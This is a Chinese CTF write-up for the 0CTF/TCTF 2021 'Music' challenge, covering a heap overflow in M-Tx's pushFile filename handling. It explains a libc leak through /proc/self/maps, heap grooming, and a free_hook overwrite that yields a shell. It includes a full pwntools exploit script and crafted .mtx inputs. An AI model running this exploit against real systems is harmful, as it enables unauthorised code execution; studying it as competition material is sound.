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0CTF/TCTF 2021 Music writeup

​ 接手这个题的时候从 kjdy 得知这个题是个 0day 题,并且给了这个二进制的文档,特别注意了 INCLUDE 操作。最重要的是,kjdy 提示这个人的代码风格及其离谱,不像是个正常人。(kjdy yyds)

​ 文档: https://mirror-hk.koddos.net/CTAN/support/m-tx/doc/mtxdoc.pdf

​ 文档中提到 voice 行数 > 256 时会触发崩溃。经测试,这是 bss 上的溢出引发 segfault,只能溢出一点点,没用。

​ INCLUDE 功能似乎能直接 INCLUDE: /home/pwn/flag,本地可以打印 flag,远程不行,考虑 getflag 是 setuid 程序。

​ 之后开始读逻辑,审源码,以及在 ida 中审计二进制文件(许多有问题的代码被优化掉了)。几个小时后审出来 sprintf 的溢出。图中 v4, v5都能到256的长度。但是这个二进制开了 FORTIFY 保护,没办法溢出。

​ 再之后发现了可以通过 INLUCDE: /proc/self/maps 来泄露 libc,但是泄露完程序会直接崩溃。读文档,发现 Enable: ignoreErrors 可以阻止崩溃,而且开启 debugModebeVerbose 之后能够获得更加详细的 log。

​ 把一些有用没用的选项加进来,泄露地址的mtx文件长这样。

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Title: Net soos ek is
Composer: Charlotte Elliott
Style: SEPTET
Sharps: 2
Meter: 3/4
Space: 9
START: L:
Enable: debugMode
Enable: beVerbose
Enable: doLyrics
Enable: ignoreErrors

INCLUDE: /proc/self/maps
aaaaa

​ 之后需要找一个任意地址写,继续审代码。既然 sprintf 行不通,最危险的函数就是 strcpy 了。于是在 ida 里面搜索所有 strcpy 的引用。

​ 首先找到的是 addUptext 函数,里面如果 voice 能够超长的话,可以有个 strcpy 可以溢出。构造了两个小时,没办法构造,放弃。

​ 之后在审到头秃的时候,找到了关键的漏洞点。

​ pushFile 中 v4->actualfile_NAME 只有 120 字节大小,文件名却可以有 255 字节大小。这就造成了堆上的溢出,实际上文件名最多可以有 200 字节,能够溢出 80 字节。再加上 Enable: ignoreErrors ,即使文件不存在也不会直接死掉。再通过套娃 INCLUDE ,就可以一定程度上控制 malloc、free 的顺序。所以就可以开始堆风水了。

​ 程序中有 4 个地方会用到堆分配:

  1. 上传文件的缓冲 buffer,size 和上传的数据大小有关,calloc 分配,分配后会被释放。
  2. pushFile 中的malloc,分配 file_node 结构体(溢出点), size: 0x1a0
  3. 打开一个新文件产生的 FILE 结构体, size: 0x1e0
  4. io 输入缓冲区,size: 0x1010

​ 正常的话,file_node 结构体溢出的下一块 chunk 要么是 io 缓冲区 (unsorted bin),要么是 FILE 结构体。 Unsorted bin 非常难用,FILE 结构体分配过后控制不了写的内容,就算打 FSOP 也过于麻烦。所以还是考虑能不能通过 upload 构造一下堆布局。

​ 如果 upload 一个 0x190 大小的文件,就会在 tcache 里面留下一个 0x1a0 的 chunk。多分配几个就可以有内存连续的 0x190 大小的 chunk 在 tcache 里面成链。但是难顶的链里的 chunk 是从内存高地址排向内存低地址的 … (这样就没办法通过前面的 chunk 改后面的 chunk 的 fd 指针,达到任意地址分配)

​ 之后就是一通玄学操作(我不想回忆了),最后构造出了内存中连续的 0x1a0, 0x1e0, 0x1a0 的 freed chunk。分别叫 chunk1, chunk2, chunk3 吧。

​ chunk1 通过溢出改写 chunk2 的 size 为 0x1a0,经过 free 后,tcache 里会有 freelist -> ... -> chunk2 -> chunk3 -> ... 的情况。

​ 再次分配通过 chunk2 改 chunk3 的 fd,到 freehook,然后用 one gadget 拿到 shell。

​ 堆风水还有很多细节坑,不想回忆了。。。

​ exp:

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from pwn import *
import os

from pwnlib.util.cyclic import cyclic
# from LibcSearcher import LibcSearcher
# from io_file import *

file_crack = './chall'
glibc = ''
# domain_name = '127.0.0.1'
domain_name = '111.186.58.135'
port = 12580
remo = 1
archive = 'amd64'

context(os='linux', arch=archive, log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


def complement_code_32(num):
return num & 0xffffffff


def complement_code_64(num):
return num & 0xffffffffffffffff


elf = ELF(file_crack)
if remo:
n = remote(domain_name, port)
else:
if glibc:
n = elf.process(env={'LD_PRELOAD': glibc})
else:
n = elf.process()


def z():
if remo == 0:
gdb.attach(n)
pause()


def upload(index, size, content):
n.sendlineafter(b"Your choice:", b"1")
n.sendlineafter(b"Index:", str(index).encode())
n.recvuntil(b"Your filename: ")
r = n.recvline()[:-1]
n.sendlineafter(b"Your file length:", str(size).encode())
n.sendafter(b"Your file content:", content)
return r

def show():
n.sendlineafter(b"Your choice:", b"2")
n.sendlineafter(b"Index:", b"0")
n.recvuntil(b"[heap]\n8 >> ")
s = n.recv(12)
n.sendlineafter(b"Do you want to show the result?[y/n]", b"n")
return s

def gen(k):
n.sendlineafter(b"Your choice:", b"2")
n.sendlineafter(b"Index:", str(k))
n.sendlineafter(b"Do you want to show the result?[y/n]", b"n")


with open(os.path.abspath("../test.mtx"), 'rb') as f:
content = f.read()

with open(os.path.abspath("../test1.mtx"), 'rb') as f:
content3 = f.read()


contentk = content3
filename0 = upload(0, len(content), content)

# content5 = b"c2+ e4 g | b4d- c1 d c2 |\nc8 g+ e g c- g+ e g | d g f g c- g+ e g |".ljust(0x1000, b'\x00')
content5 = b"aaaaaaaaaaaaa".ljust(0x190, b'\x00')
filename5 = upload(5, len(content5), content5)


content6 = content5.ljust(0x1d0, b'\x00')



# content1 = b"INCLUDE: " + filename5 # + b'\n' + b"c2+ e4 g | b4d- c1 d c2 |\nc8 g+ e g c- g+ e g | d g f g c- g+ e g |"
content1 = b"INCLUDE: " + b'x'*134 + p64(0x1a0)
content1 = content1.ljust(0x190, b'\x00')
filename1 = upload(1, len(content1), content1)

# gen(6)


content2 = b"INCLUDE: " + filename1 # + b'\n' + b"c2+ e4 g | b4d- c1 d c2 |\nc8 g+ e g c- g+ e g | d g f g c- g+ e g |"
content2 = content2.ljust(0x1d0, b'\x00')
filename2 = upload(2, len(content2), content2)

# n.interactive()
# gen(7)

content4 = content5.ljust(0x190, b'\x00')
filename4 = upload(4, len(content4), content4)

s = show()
libc_base = int(s, 16)
print(hex(libc_base))

content9 = (b"INCLUDE: " + b'a'*198 + b"bbbbbbbb" + p64(libc_base + 0x1eeb28)).ljust(0x1d0, b'\x00')
filename9 = upload(9, len(content9), content9)


content8 = content5.ljust(0x190, b'\x00')
filename8 = upload(8, len(content8), content8)

content7 = contentk + b"INCLUDE: " + filename9
content7 = content7.ljust(0x1e0, b'\x00')
filename7 = upload(7, len(content7), content7)


# filename6 = upload(6, len(content6), content6)

# content3 += b"INCLUDE: " + filename2 + b"\n\nINCLUDE: " + filename4 + b'\n'
# content3 = content3.ljust(0x2070, b'\x00')
# filename3 = upload(3, len(content3), content3)
content3 += b"INCLUDE: " + filename2 + b'\n\n'
# content3 += b"INCLUDE: " + b'a'*134 + p64(0x1a0)
content3 = content3.ljust(0x190, b'\x00')
filename3 = upload(3, len(content3), content3)

gen(3)
gen(7)

z()

content10 = p64(libc_base + 0x55410)
filename10 = upload(10, len(content10), content10)
# content11 = b"INCLUDE: " + p64(libc_base + 0x55410)
content11 = b"INCLUDE: " + p64(libc_base + 0xe6e73)
filename11 = upload(11, len(content11), content11)
content12 = b"INCLUDE: " + filename11
filename12 = upload(12, len(content12), content12)
content13 = b"INCLUDE: " + filename12
filename13 = upload(13, len(content13), content13)
content14 = b"INCLUDE: " + filename13
filename14 = upload(14, len(content14), content14)
content15 = contentk + b"INCLUDE: " + filename14
filename15 = upload(15, len(content15), content15)

gen(15)
# print(hex(len(content)))

"""
file3 -> file2 -> file1 -> file5 ....
-> file4 == c2+ ....
"""


n.interactive()


# 7b0 -> d30 -> ee0

test.mtx:

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Title: Net soos ek is
Composer: Charlotte Elliott
Style: SEPTET
Sharps: 2
Meter: 3/4
Space: 9
START: L:
Enable: debugMode
Enable: beVerbose
Enable: doLyrics
Enable: ignoreErrors

INCLUDE: /proc/self/maps
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test1.mtx

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Title: Net soos ek is
Composer: Charlotte Elliott
Style: SEPTET
Sharps: 2
Meter: 3/4
Space: 9
START: L:
Enable: debugMode
Enable: beVerbose
Enable: doLyrics
Enable: ignoreErrors


注意 test1.mtx 下面两个空行是必须的。

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